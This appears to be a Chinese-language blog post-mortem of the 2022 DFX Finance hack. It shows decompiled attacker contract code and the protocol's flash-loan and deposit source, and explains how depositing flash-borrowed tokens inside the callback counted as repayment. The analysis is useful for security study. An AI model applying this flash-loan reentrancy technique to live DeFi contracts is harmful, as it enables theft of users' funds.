DFX Finance 攻击分析

区块链安全 1年前 (2022) admin

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信息

攻击者地址：0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067

分析的交易：0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

发起攻击的合约：0x6cfa86a352339e766ff1ca119c8c40824f41f22d

函数调用参数：https://fefu.io/eth/tx/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

tenderly: https://dashboard.tenderly.co/tx/mainnet/0x6bfd9e286e37061ed279e4f139fbc03c8bd707a2cdd15f7260549052cbba79b7

代码和分析打包：https://1drv.ms/u/s!At0_LwVPvookh6ApCW53C1CM9ixVIg?e=ewzgtq

发起攻击的合约逆向

完整逆向代码见：https://gist.github.com/learnerLj/f6a1ce6e8a1b1fe98510cfbd2a98d3d1

首先攻击者调用攻击合约，逆向代码进行了简化，攻击者设置了一些 require，防止被 bot 抢跑，这里我们删除这些语句还有逆向代码。

function 0xb727281f(uint256 varg0, uint256 varg1) public payable {
    require(4 + (msg.data.length - 4) - 4 >= 64);
    require(msg.sender == 0x14c19962e4a899f29b3dd9ff52ebfb5e4cb9a067);
    stor_5 = varg0;
    stor_9 = varg1;
    v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas);
    RETURNDATACOPY(v1, 0, RETURNDATASIZE());
    MEM[64] = v1 + (RETURNDATASIZE() + 31 & ~0x1f);
    if (1 < MEM[v1 + MEM[v1 + 32]]) {
        if (0 < MEM[v1 + MEM[v1 + 32]]) {
            0x34d3();
            exit;
        }
    }
    revert(Panic(50));
}

v0, v1 = stor_0_0_19.viewDeposit(stor_5).gas(msg.gas); 调用了如下函数，位于 Curve/contracts/Curve.sol#550

/// @notice view deposits and curves minted a given deposit would return
/// @param _deposit the full amount of stablecoins you want to deposit. Divided evenly according to the
///                 prevailing proportions of the numeraire assets of the pool
/// @return (the amount of curves you receive in return for your deposit,
///          the amount deposited for each numeraire)
function viewDeposit(uint256 _deposit) external view transactable returns (uint256, uint256[] memory) {
    // curvesToMint_, depositsToMake_
    return ProportionalLiquidity.viewProportionalDeposit(curve, _deposit);
}

ProportionalLiquidity.viewProportionalDeposit 是库合约中的函数，位于Curve/contracts/ProportionalLiquidity.sol#78，第一个参数 curve 是一个结构体包括各种属性，第二个是计划存入的金额。具体内容不细致分析，读者感兴趣可以自行查看源码。这一段的作用是用于查看如果存入这么多金额，应该会返回多少代币。

之后经过很多检查后，攻击的合约执行如下函数：

function 0x34d3() private {
    v0 = 0x3774(stor_9, stor_7);
    v1 = 0x37e1(1000, v0);
    v2 = _SafeSub(v1, stor_7);
    v3 = 0x3774(stor_9, _uniswapV3FlashCallback);
    v4 = 0x37e1(1000, v3);
    v5 = _SafeSub(v4, _uniswapV3FlashCallback);
    require(stor_0_0_19.code.size);
    v6 = stor_0_0_19.flash(address(this), v2, v5, '0xcallflash').gas(msg.gas);
    require(v6); // checks call status, propagates error data on error
    require(stor_0_0_19.code.size);
    v7, v8 = stor_0_0_19.balanceOf(address(this)).gas(msg.gas);
    require(v7); // checks call status, propagates error data on error
    MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & ~0x1f);
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    0x43bd(v8);
    require(stor_0_0_19.code.size);
    v9 = stor_0_0_19.withdraw(v8, 0xf285c0bd068).gas(msg.gas);
    require(v9); // checks call status, propagates error data on error
    return ;
}

其中 0x3774 0x37e1 等函数是算术运算，不细看，直到开始调用 v6 = stor_0_0_19.flash(address(this), v2, v5, '0xcallflash').gas(msg.gas);。

class="line">function flash( address recipient, uint256 amount0, uint256 amount1, bytes calldata data external transactable noDelegateCall isNotEmergency { uint256 fee = curve.epsilon.mulu(1e18); require(IERC20(derivatives[0]).balanceOf(address(this)) > 0, 'Curve/token0-zero-liquidity-depth'); require(IERC20(derivatives[1]).balanceOf(address(this)) > 0, 'Curve/token1-zero-liquidity-depth'); uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e18); uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e18); uint256 balance0Before = IERC20(derivatives[0]).balanceOf(address(this)); uint256 balance1Before = IERC20(derivatives[1]).balanceOf(address(this)); if (amount0 > 0) IERC20(derivatives[0]).safeTransfer(recipient, amount0); if (amount1 > 0) IERC20(derivatives[1]).safeTransfer(recipient, amount1); IFlashCallback(msg.sender).flashCallback(fee0, fee1, data); uint256 balance0After = IERC20(derivatives[0]).balanceOf(address(this)); uint256 balance1After = IERC20(derivatives[1]).balanceOf(address(this)); require(balance0Before.add(fee0) <= balance0After, 'Curve/insufficient-token0-returned'); require(balance1Before.add(fee1) <= balance1After, 'Curve/insufficient-token1-returned'); // sub is safe because we know balanceAfter is gt balanceBefore by at least fee uint256 paid0 = balance0After - balance0Before; uint256 paid1 = balance1After - balance1Before; IERC20(derivatives[0]).safeTransfer(owner, paid0); IERC20(derivatives[1]).safeTransfer(owner, paid1); emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1); 的闪电贷代码，关键是 IFlashCallback(msg.sender).flashCallback(fee0, fee1, data); 回调了。

回调的攻击者合约代码如下（也做了简化）：

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function 0xc3924ed6(uint256 varg0, uint256 varg1, uint256 varg2) public payable {
    v0 = stor_0_0_19.deposit(stor_5, 0xf285c0bd068).gas(msg.gas);
}

非常直接的开始存款，函数如下：

/// @notice deposit into the pool with no slippage from the numeraire assets the pool supports
/// @param  _deposit the full amount you want to deposit into the pool which will be divided up evenly amongst
///                  the numeraire assets of the pool
/// @return (the amount of curves you receive in return for your deposit,
///          the amount deposited for each numeraire)
function deposit(uint256 _deposit, uint256 _deadline)
    external
    deadline(_deadline)
    transactable
    nonReentrant
    noDelegateCall
    notInWhitelistingStage
    isNotEmergency
    returns (uint256, uint256[] memory)
{
    // (curvesMinted_,  deposits_)
    return ProportionalLiquidity.proportionalDeposit(curve, _deposit);
}

具体参数 deposit(uint256 200_000_000_000_000_000_000_000, 16_666_017_386_600)。它直接调用了库函数。

function proportionalDeposit(Storage.Curve storage curve, uint256 _deposit)
        external
        returns (uint256 curves_, uint256[] memory)
    {
        int128 __deposit = _deposit.divu(1e18);

        uint256 _length = curve.assets.length;

        uint256[] memory deposits_ = new uint256[](_length);

        (int128 _oGLiq, int128[] memory _oBals) = getGrossLiquidityAndBalancesForDeposit(curve);

        // Needed to calculate liquidity invariant
        // (int128 _oGLiqProp, int128[] memory _oBalsProp) = getGrossLiquidityAndBalances(curve);

        // No liquidity, oracle sets the ratio
        if (_oGLiq == 0) {
            for (uint256 i = 0; i < _length; i++) {
                // Variable here to avoid stack-too-deep errors
                int128 _d = __deposit.mul(curve.weights[i]);
                deposits_[i] = Assimilators.intakeNumeraire(curve.assets[i].addr, _d.add(ONE_WEI));
            }
        } else {
            // We already have an existing pool ratio
            // which must be respected
            int128 _multiplier = __deposit.div(_oGLiq);

            uint256 _baseWeight = curve.weights[0].mulu(1e18);
            uint256 _quoteWeight = curve.weights[1].mulu(1e18);

            for (uint256 i = 0; i < _length; i++) {
                deposits_[i] = Assimilators.intakeNumeraireLPRatio(
                    curve.assets[i].addr,
                    _baseWeight,
                    _quoteWeight,
                    _oBals[i].mul(_multiplier).add(ONE_WEI)
                );
            }
        }

        int128 _totalShells = curve.totalSupply.divu(1e18);

        int128 _newShells = __deposit;

        if (_totalShells > 0) {
            _newShells = __deposit.mul(_totalShells);
            _newShells = _newShells.div(_oGLiq);
        }

        mint(curve, msg.sender, curves_ = _newShells.mulu(1e18));

        return (curves_, deposits_);
    }

getGrossLiquidityAndBalancesForDeposit(curve) 计算之前存款的总流动性和余额，然后在Assimilators.intakeNumeraireLPRatio 计算了存入金额和 LP 的比率，然后攻击者合约给 curve 合约打钱。下面是两个日志

{
"from":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d"
"to":"0x46161158b1947d9149e066d6d31af1283b2d377c"
"value":"2325581395325581"
}

{
"from":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d"
"to":"0x46161158b1947d9149e066d6d31af1283b2d377c"
"value":"100000000000"
}

之后 mint 代币给攻击者合约。

{
"from":"0x0000000000000000000000000000000000000000"
"to":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d"
"value":"387023837944937266146579"
}

当 flash 回调结束的时候

balance0Before = 0x000000000000000000000000000000000000000000000000002463e31a1c492c
balance1Before = 0x00000000000000000000000000000000000000000000000000000068516c41ac

balance0After = 0x00000000000000000000000000000000000000000000000000247093e6d40a1d
balance1After = 0x00000000000000000000000000000000000000000000000000000068752f87ac

paid0 = 0xcb0ccb7c0f1
paid1 = 0x23c34600

说明还需要支付的代币已经少了很多了，因为最开始借贷的代币数量是：

{
"from":"0x46161158b1947d9149e066d6d31af1283b2d377c"
"to":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d"
"value":"0x83669d03f319c"
}

{
"from":"0x46161158b1947d9149e066d6d31af1283b2d377c"
"to":"0x6cfa86a352339e766ff1ca119c8c40824f41f22d"
"value":"0x1724b3a200"
}

说明攻击者空手套白狼了两种代币，分别为 0x829b9038770ab 0x1700f05c00，需要还闪电贷的只是一个零头。通过多次这样的交易，攻击者大量套利。

感觉这个逻辑还是简单的，可能一个合约中不能出现重入比较好，或者说是业务逻辑考虑不周全，没有考虑其他函数造成的 balance 改变对 flash 的影响。一般考虑清楚每个 callback，考虑清楚每个函数依赖的变量是否可能在调用过程中篡改，就能避免很多问题。这里稍微复杂以下的是，获取 balance 的过程基本都是用到了代理合约还有计算汇率是采用了自己 abi 编码其他合约去处理，导致中间一大堆调用，跳过就好。

攻击的核心是在 curve 闪电贷的回调函数里，攻击者将借贷的代币存入 curve 合约，因为 curve 通过 balance(curve) 获取余额，所以存入的代币也被视作还款了。